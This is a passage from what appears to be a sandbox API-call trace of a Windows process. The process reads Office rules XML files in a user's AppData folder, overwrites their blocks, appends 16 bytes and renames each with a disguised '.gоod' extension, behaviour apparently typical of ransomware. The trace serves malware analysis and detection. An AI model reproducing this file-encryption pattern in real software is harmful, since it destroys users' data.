hFile=0x8a8, lpBuffer=0x38dce70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x38dce70*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0271.825] CloseHandle (hObject=0x8a8) returned 1 [0271.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.826] GetFileType (hFile=0x8a8) returned 0x1 [0271.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.826] GetFileType (hFile=0x8a8) returned 0x1 [0271.826] WriteFile (in: hFile=0x8a8, lpBuffer=0x37fcef0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x37fcef0*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0271.826] CloseHandle (hObject=0x8a8) returned 1 [0271.826] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.826] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4e [0271.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0271.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a526ab, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x80a526ab, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x9e3c058b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x72f3)) returned 1 [0271.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0271.826] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml.gоod")) returned 1 [0271.827] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0271.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x391fe60 | out: lpFileInformation=0x391fe60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95817b70, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x95817b70, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x95818eea, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3)) returned 1 [0271.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0271.828] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.828] GetFileType (hFile=0x8a8) returned 0x1 [0271.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.828] GetFileType (hFile=0x8a8) returned 0x1 [0271.828] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0271.828] ReadFile (in: hFile=0x8a8, lpBuffer=0x39202a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x39202a8*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0271.843] CloseHandle (hObject=0x8a8) returned 1 [0271.844] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.844] GetFileType (hFile=0x8a8) returned 0x1 [0271.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.844] GetFileType (hFile=0x8a8) returned 0x1 [0271.844] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x72e3 [0271.844] WriteFile (in: hFile=0x8a8, lpBuffer=0x3921558*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3921558*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0271.845] CloseHandle (hObject=0x8a8) returned 1 [0271.845] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.845] GetFileType (hFile=0x8a8) returned 0x1 [0271.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.845] GetFileType (hFile=0x8a8) returned 0x1 [0271.845] ReadFile (in: hFile=0x8a8, lpBuffer=0x3923830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3923830*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0271.873] CloseHandle (hObject=0x8a8) returned 1 [0271.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.874] GetFileType (hFile=0x8a8) returned 0x1 [0271.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.874] GetFileType (hFile=0x8a8) returned 0x1 [0271.874] WriteFile (in: hFile=0x8a8, lpBuffer=0x3922570*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x3922570*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0271.874] CloseHandle (hObject=0x8a8) returned 1 [0271.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4e [0271.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0271.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95817b70, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x95817b70, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x9e432c50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x72f3)) returned 1 [0271.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0271.875] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup64.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup64.exe_rules.xml.gоod")) returned 1 [0271.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0271.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0271.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x399fdd0 | out: lpFileInformation=0x399fdd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ce24c, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc10ce24c, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc10ce24c, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x3bbff)) returned 1 [0271.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0271.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0271.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.876] GetFileType (hFile=0x8a8) returned 0x1 [0271.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.877] GetFileType (hFile=0x8a8) returned 0x1 [0271.877] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0271.877] ReadFile (in: hFile=0x8a8, lpBuffer=0x39a01f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x39a01f8*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0271.924] CloseHandle (hObject=0x8a8) returned 1 [0272.240] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0272.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0272.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.240] GetFileType (hFile=0x86c) returned 0x1 [0272.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0272.240] GetFileType (hFile=0x86c) returned 0x1 [0272.240] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x3bbff [0272.240] WriteFile (in: hFile=0x86c, lpBuffer=0x399f218*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x399f218*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0272.259] CloseHandle (hObject=0x86c) returned 1 [0272.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0272.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0272.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.259] GetFileType (hFile=0x86c) returned 0x1 [0272.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0272.259] GetFileType (hFile=0x86c) returned 0x1 [0272.259] ReadFile (in: hFile=0x86c, lpBuffer=0x39a1900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x39a1900*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0272.980] CloseHandle (hObject=0x86c) returned 1 [0272.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0272.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0272.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.980] GetFileType (hFile=0x86c) returned 0x1 [0272.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0272.980] GetFileType (hFile=0x86c) returned 0x1 [0272.980] WriteFile (in: hFile=0x86c, lpBuffer=0x3825888*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x3825888*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0272.980] CloseHandle (hObject=0x86c) returned 1 [0272.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0272.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4c [0272.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0272.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ce24c, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc10ce24c, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x9eec70bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3bc0f)) returned 1 [0272.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0272.981] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\visio.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\visio.exe_rules.xml.gоod")) returned 1 [0272.981] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0272.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0272.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x3b83f80 | out: lpFileInformation=0x3b83f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a20d0e, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x282ac)) returned 1 [0272.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0272.982] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0272.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0272.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.982] GetFileType (hFile=0x86c) returned 0x1 [0272.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0272.982] GetFileType (hFile=0x86c) returned 0x1 [0272.982] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0272.982] ReadFile (in: hFile=0x86c, lpBuffer=0x3b843c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x3b843c8*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0272.984] CloseHandle (hObject=0x86c) returned 1 [0272.984] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0272.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0272.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winproj.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0272.984] GetFileType (hFile=0x86c) returned 0x1 [0272.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0272.984] GetFileType (hFile=0x86c) returned 0x1 [0272.984] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x282ac [0272.984] WriteFile (in: hFile=0x86c, lpBuffer=0x3b85678*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3b85678*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0272.985] CloseHandle (hObject=0x86c) returned 1 [0272.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0272.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0272.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winproj.exe_Rules.xml" (normalized: 